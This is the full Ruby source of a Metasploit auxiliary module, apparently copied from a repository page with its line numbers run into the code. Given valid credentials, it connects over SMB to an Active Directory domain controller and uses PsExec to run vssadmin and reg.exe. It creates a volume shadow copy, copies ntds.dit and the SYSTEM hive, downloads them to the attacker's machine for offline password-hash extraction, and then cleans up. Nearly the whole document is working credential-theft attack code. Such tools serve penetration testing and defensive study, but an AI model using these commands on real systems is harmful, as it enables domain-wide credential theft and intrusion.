Path: blob/master/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
23734 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67# Exploit mixins should be called first8include Msf::Exploit::Remote::SMB::Client::Psexec9include Msf::Auxiliary::Report10include Msf::OptionalSession::SMB1112# Aliases for common classes13SIMPLE = Rex::Proto::SMB::SimpleClient14XCEPT = Rex::Proto::SMB::Exceptions15CONST = Rex::Proto::SMB::Constants1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'PsExec NTDS.dit And SYSTEM Hive Download Utility',22'Description' => %q{23This module authenticates to an Active Directory Domain Controller and creates24a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the25ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM26hive copy can be used in combination with other tools for offline extraction of AD27password hashes. All of this is done without uploading a single binary to the28target host.29},30'Author' => [31'Royce Davis <rdavis[at]accuvant.com>' # @R3dy__32],33'License' => MSF_LICENSE,34'References' => [35[ 'URL', 'http://sourceforge.net/projects/smbexec' ],36[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],37[ 'ATT&CK', Mitre::Attack::Technique::T1003_003_NTDS ]38],39'Notes' => {40'Stability' => [CRASH_SAFE],41'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK],42'Reliability' => []43}44)45)4647register_options([48OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),49OptString.new('VSCPATH', [false, 'The path to the target Volume Shadow Copy', '']),50OptString.new('WINPATH', [true, 'The name of the Windows directory (examples: WINDOWS, WINNT)', 'WINDOWS']),51OptBool.new('CREATE_NEW_VSC', [false, 'If true, attempts to create a volume shadow copy', false]),52])53end5455# This is the main control method56def run57# Initialize some variables58text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"59bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"60createvsc = 'vssadmin create shadow /For=%SYSTEMDRIVE%'61@ip = datastore['RHOST']62@smbshare = datastore['SMBSHARE']63# Try and connect64if session65print_status("Using existing session #{session.sid}")66self.simple = session.simple_client67@ip = simple.address68else69return unless connect7071# Try and authenticate with given credentials72begin73smb_login74rescue StandardError => e75print_error("Unable to authenticate with given credentials: #{e}")76return77end78end79# If a VSC was specified then don't try and create one80if !datastore['VSCPATH'].empty?81print_status("Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")82vscpath = datastore['VSCPATH']83else84unless datastore['CREATE_NEW_VSC']85vscpath = check_vss(text, bat)86end87vscpath ||= make_volume_shadow_copy(createvsc, text, bat)88end8990if vscpath91if copy_ntds(vscpath, text) && copy_sys_hive92download_ntds(datastore['WINPATH'] + '\\Temp\\ntds')93download_sys_hive(datastore['WINPATH'] + '\\Temp\\sys')94else95print_error('Failed to find a volume shadow copy. Issuing cleanup command sequence.')96end97end98cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys")99disconnect100end101102# Thids method will check if a Volume Shadow Copy already exists and use that rather103# then creating a new one104def check_vss(text, bat)105print_status('Checking if a Volume Shadow Copy exists already.')106prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'107command = "%COMSPEC% /C echo vssadmin list shadows ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"108psexec(command)109data = smb_read_file(datastore['SMBSHARE'], @ip, text)110vscs = []111data.each_line { |line| vscs << line if line.include?('GLOBALROOT') }112if vscs.empty?113print_status('No VSC Found.')114return nil115end116vscpath = prepath + vscs[vscs.length - 1].to_s.split('ShadowCopy')[1].to_s.chomp117print_good("Volume Shadow Copy exists on #{vscpath}")118return vscpath119rescue StandardError => e120print_error("Unable to determine if VSS is enabled: #{e}")121return nil122end123124# Create a Volume Shadow Copy on the target host125def make_volume_shadow_copy(createvsc, text, bat)126begin127# Try to create the shadow copy128command = "%COMSPEC% /C echo #{createvsc} ^> #{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"129print_status('Creating Volume Shadow Copy')130psexec(command)131# Get path to Volume Shadow Copy132vscpath = get_vscpath(text)133rescue StandardError => e134print_error("Unable to create the Volume Shadow Copy: #{e}")135return nil136end137if vscpath138print_good("Volume Shadow Copy created on #{vscpath}")139return vscpath140else141return nil142end143end144145# Copy ntds.dit from the Volume Shadow copy to the Windows Temp directory on the target host146def copy_ntds(vscpath, text)147ntdspath = vscpath.to_s + '\\' + datastore['WINPATH'] + '\\NTDS\\ntds.dit'148command = "%COMSPEC% /C copy /Y \"#{ntdspath}\" %WINDIR%\\Temp\\ntds"149psexec(command)150if !check_ntds(text)151return false152end153154return true155rescue StandardError => e156print_error("Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{e}")157return false158end159160# Checks if ntds.dit was copied to the Windows Temp directory161def check_ntds(text)162print_status('Checking if NTDS.dit was copied.')163check = "%COMSPEC% /C dir \\#{datastore['WINPATH']}\\Temp\\ntds > #{text}"164psexec(check)165output = smb_read_file(@smbshare, @ip, text)166if output.include?('ntds')167return true168end169170return false171end172173# Copies the SYSTEM hive file to the Temp directory on the target host174def copy_sys_hive175# Try to create the sys hive copy176command = '%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y'177return psexec(command)178rescue StandardError => e179print_error("Unable to copy the SYSTEM hive file: #{e}")180return false181end182183# Download the ntds.dit copy to your attacking machine184def download_ntds(file)185print_status('Downloading ntds.dit file')186begin187# Try to download ntds.dit188simple.connect("\\\\#{@ip}\\#{@smbshare}")189remotefile = simple.open(file.to_s, 'rob')190data = remotefile.read191remotefile.close192ntds_path = store_loot('psexec.ntdsgrab.ntds', 'application/octet-stream', @ip, data, 'ntds.dit')193print_good("ntds.dit stored at #{ntds_path}")194rescue StandardError => e195print_error("Unable to download ntds.dit: #{e}")196return e197end198simple.disconnect("\\\\#{@ip}\\#{@smbshare}")199end200201# Download the SYSTEM hive copy to your attacking machine202def download_sys_hive(file)203print_status('Downloading SYSTEM hive file')204begin205# Try to download SYSTEM hive206simple.connect("\\\\#{@ip}\\#{@smbshare}")207remotefile = simple.open(file.to_s, 'rob')208data = remotefile.read209remotefile.close210hive_path = store_loot('psexec.ntdsgrab.hive', 'application/octet-stream', @ip, data, 'system-hive')211print_good("SYSTEM hive stored at #{hive_path}")212rescue StandardError => e213print_error("Unable to download SYSTEM hive: #{e}")214return e215end216simple.disconnect("\\\\#{@ip}\\#{@smbshare}")217end218219# Gets the path to the Volume Shadow Copy220def get_vscpath(file)221prepath = '\\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy'222vsc = ''223output = smb_read_file(@smbshare, @ip, file)224output.each_line do |line|225vsc += line if line.include?('GLOBALROOT')226end227return prepath + vsc.split('ShadowCopy')[1].chomp228rescue StandardError229print_error('Could not determine the exact path to the VSC check your WINPATH')230return nil231end232233# Removes files created during execution.234def cleanup_after(*files)235simple.connect("\\\\#{@ip}\\#{@smbshare}")236print_status('Executing cleanup...')237files.each do |file|238if smb_file_exist?(file)239smb_file_rm(file)240end241rescue Rex::Proto::SMB::Exceptions::ErrorCode => e242print_error("Unable to cleanup #{file}. Error: #{e}")243end244left = files.collect { |f| smb_file_exist?(f) }245if left.any?246print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(', ')} from the target.")247else248print_good('Cleanup was successful')249end250simple.disconnect("\\\\#{@ip}\\#{@smbshare}")251end252end253254255